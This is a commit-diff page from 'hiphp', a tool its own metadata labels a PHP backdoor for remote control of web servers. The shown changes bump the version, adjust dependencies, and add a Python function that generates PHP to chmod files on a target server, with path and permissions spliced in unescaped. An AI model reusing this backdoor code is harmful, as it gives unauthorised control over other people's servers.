     281 + if (chmod('"""+path+"""', """+permissions+""")) {
     282 + echo "Permissions changed successfully for the file.";
     283 + } else {
     284 + echo "Failed to change permissions for the file.";
     285 + }"""
     286 + return code
    274 287   
    275 288  #
    276 289  def php_info():
    skipped 71 lines
  • ■ ■ ■ ■
    hiphp/hiphpversion.py
    skipped 13 lines
    14 14  # | | #
    15 15   
    16 16  #START{
    17  -__version__="0.3.2"
     17 +__version__="0.3.3"
    18 18  #}END.
    19 19   
  • ■ ■ ■ ■ ■
    requirements.txt
    1 1  requests
    2 2  hexor
    3  -asciitext
    4  -biglibrary
     3 +#asciitext
    5 4  BeautifulSoup4
    6 5  #for pypi
    7 6  twine
    skipped 7 lines
  • ■ ■ ■ ■ ■
    setup.py
    skipped 26 lines
    27 27   long_description=open('README_PYPI.md','r', encoding="utf8").read(),
    28 28   license='''MIT License''',
    29 29   packages=find_packages(),
     30 + url='https://github.com/yasserbdj96/hiphp',
    30 31   project_urls={
    31 32   'Source': "https://github.com/yasserbdj96/hiphp",
    32 33   'WebSite': "https://yasserbdj96.github.io/hiphp",
    skipped 2 lines
    35 36   'Author WebSite':"https://yasserbdj96.github.io/",
    36 37   'Sponsor': "https://github.com/sponsors/yasserbdj96"
    37 38   },
    38  - install_requires=["requests","hexor","biglibrary","BeautifulSoup4","asciitext"],
     39 + #required_by=['example_package'],
     40 + install_requires=["requests","hexor","BeautifulSoup4"],
    39 41   keywords = ["HIPHP BackDoor", "Open-source tool", "Remote control", "PHP programming", "HTTP/HTTPS protocol", "POST/GET method", "Port 80", "File download", "File editing", "Tor networks", "Password protection", "Webmasters", "Third-party software", "User-friendly", "Access rights", "Directory structure", "Flexibility", "Security", "Compatibility", "Content management"],
    40 42   classifiers=[
    41 43   "Environment :: Web Environment",
    skipped 24 lines
  • ■ ■ ■ ■
    version.txt
    1  -0.3.2
     1 +0.3.3
Please wait...
Page is in error, reload to recover